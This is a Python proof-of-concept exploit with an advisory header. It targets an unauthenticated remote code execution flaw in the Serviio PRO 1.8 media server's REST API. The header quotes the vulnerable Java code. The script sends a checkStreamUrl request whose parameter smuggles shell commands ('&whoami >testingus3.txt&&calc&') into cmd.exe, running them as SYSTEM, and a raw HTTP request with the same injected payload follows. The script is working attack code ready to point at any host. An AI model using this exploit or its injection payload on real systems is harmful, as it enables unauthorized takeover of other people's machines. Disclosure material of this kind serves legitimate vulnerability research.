#!/usr/bin/env python
#
#
# Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution
#
#
# Vendor: Petr Nejedly | Six Lines Ltd
# Product web page: http://www.serviio.org
# Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1
#
# Summary: Serviio is a free media server. It allows you to stream your media
# files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,
# games console or mobile phone) on your connected home network.
#
# Desc: The version of Serviio installed on the remote Windows host is affected by
# an unauthenticated remote code execution vulnerability due to improper access control
# enforcement of the Configuration REST API and unsanitized input when FFMPEGWrapper
# calls cmd.exe to execute system commands. A remote attacker can exploit this with a
# simple JSON request, gaining system access with SYSTEM privileges via a specially
# crafted request and escape sequence.
#
# =================================================================================
# org/serviio/ui/resources/server/ActionsServerResource.java:
# -----------------------------------------------------------
#
#private ResultRepresentation checkStreamUrl(ActionRepresentation representation) {
#this.validateParameters(representation, 2);
#try {
#MediaFileType fileType = MediaFileType.valueOf(representation.getParameters().get(0));
#String url = StringUtils.trim(representation.getParameters().get(1));
#LocalItemMetadata md = MetadataFactory.getMetadataInstance(fileType);
#DeliveryContext context = fileType == MediaFileType.VIDEO ? new VideoDeliveryContext(false, null) : new AudioDeliveryContext(false, null);
#FFmpegMetadataRetriever.retrieveOnlineMetadata(md, url, context);
#return this.responseOk();
#}
#catch (InvalidMediaFormatException e) {
#return this.responseOk(603);
#}
#
# =================================================================================
# serviio.jar / external / ProcessExecutor.java:
# ----------------------------------------------
#
#private Map<String, String> createWindowsRuntimeEnvironmentVariables() {
#HashMap<String, String> newEnv = new HashMap<String, String>();
#newEnv.putAll(System.getenv());
#ProcessExecutorParameter[] i18n = new ProcessExecutorParameter[this.commandArguments.length + 2];
#i18n[0] = new ProcessExecutorParameter("cmd");
#i18n[1] = new ProcessExecutorParameter("/C");
#for (int counter = 0; counter < this.commandArguments.length; ++counter) {
#ProcessExecutorParameter argument = this.commandArguments[counter];
#String envName = "JENV_" + counter;
#i18n[counter + 2] = new ProcessExecutorParameter("%" + envName + "%");
#boolean quotesNeededForWindows = this.quotesNeededForWindows(argument);
#if (!quotesNeededForWindows) {
#argument = new ProcessExecutorParameter(this.escapeAmpersandForWindows(argument.getValue()));
#}
#newEnv.put(envName, this.wrapInQuotes(argument, quotesNeededForWindows));
#}
#this.commandArguments = i18n;
#String[] tempPath = FileUtils.splitFilePathToDriveAndRest(System.getProperty("java.io.tmpdir"));
#newEnv.put("HOMEDRIVE", tempPath[0]);
#newEnv.put("HOMEPATH", tempPath[1]);
#newEnv.putAll(this.createFontConfigRuntimeEnvironmentVariables());
#if (log.isTraceEnabled()) {
#log.trace(String.format("Env variables: %s", newEnv.toString()));
#}
#return newEnv;
#}
#
#private String wrapInQuotes(ProcessExecutorParameter argument, boolean quotesNeeded) {
#return (quotesNeeded ? "\"" : "") + argument + (quotesNeeded ? "\"" : "");
#}
#
#protected boolean quotesNeededForWindows(ProcessExecutorParameter argument) {
#boolean quotesNeeded = argument.getValue().indexOf(" ") > -1;
#return quotesNeeded;
#}
#
#private String escapeAmpersandForWindows(String value) {
#return value.replaceAll("&", "^&");
#}
#
# =================================================================================
#
# Tested on: Restlet-Framework/2.2
#Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8
#Java/1.8.0_121
#Java/1.8.0_111
#Java/1.8.0_91
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2017-5408
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php
#
# SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094
#
#
# 12.12.2016
#
#
# The PoC will create a file testingus3.txt in 'C:\Program Files\Serviio\bin' with whoami
# output in it and start a calc.exe child process as nt authority\system.
#
from urllib2 import Request, urlopen
import sys
if (len(sys.argv) <= 1):
print '[*] Usage: serviio_rce.py <ip address>'
exit(0)
host = sys.argv[1]
values = """
<action>
<name>checkStreamUrl</name>
<parameter>VIDEO</parameter>
<parameter>1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'</parameter>
</action>"""
headers = {
'Content-Type': 'application/xml',
'Accept': 'application/xml'
}
request = Request('http://'+host+':23423/rest/action', data=values, headers=headers)
response_body = urlopen(request).read()
print response_body
'''
Raw request:
POST /rest/action HTTP/1.1
Host: 10.211.55.3:23423
Content-Length: 93
Accept: application/json, text/plain, */*
Origin: http://10.211.55.3:23423
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: http://10.211.55.3:23423/console/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
DNT: 1
Connection: close
{"name":"checkStreamUrl","parameter":["VIDEO","1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'"]}
'''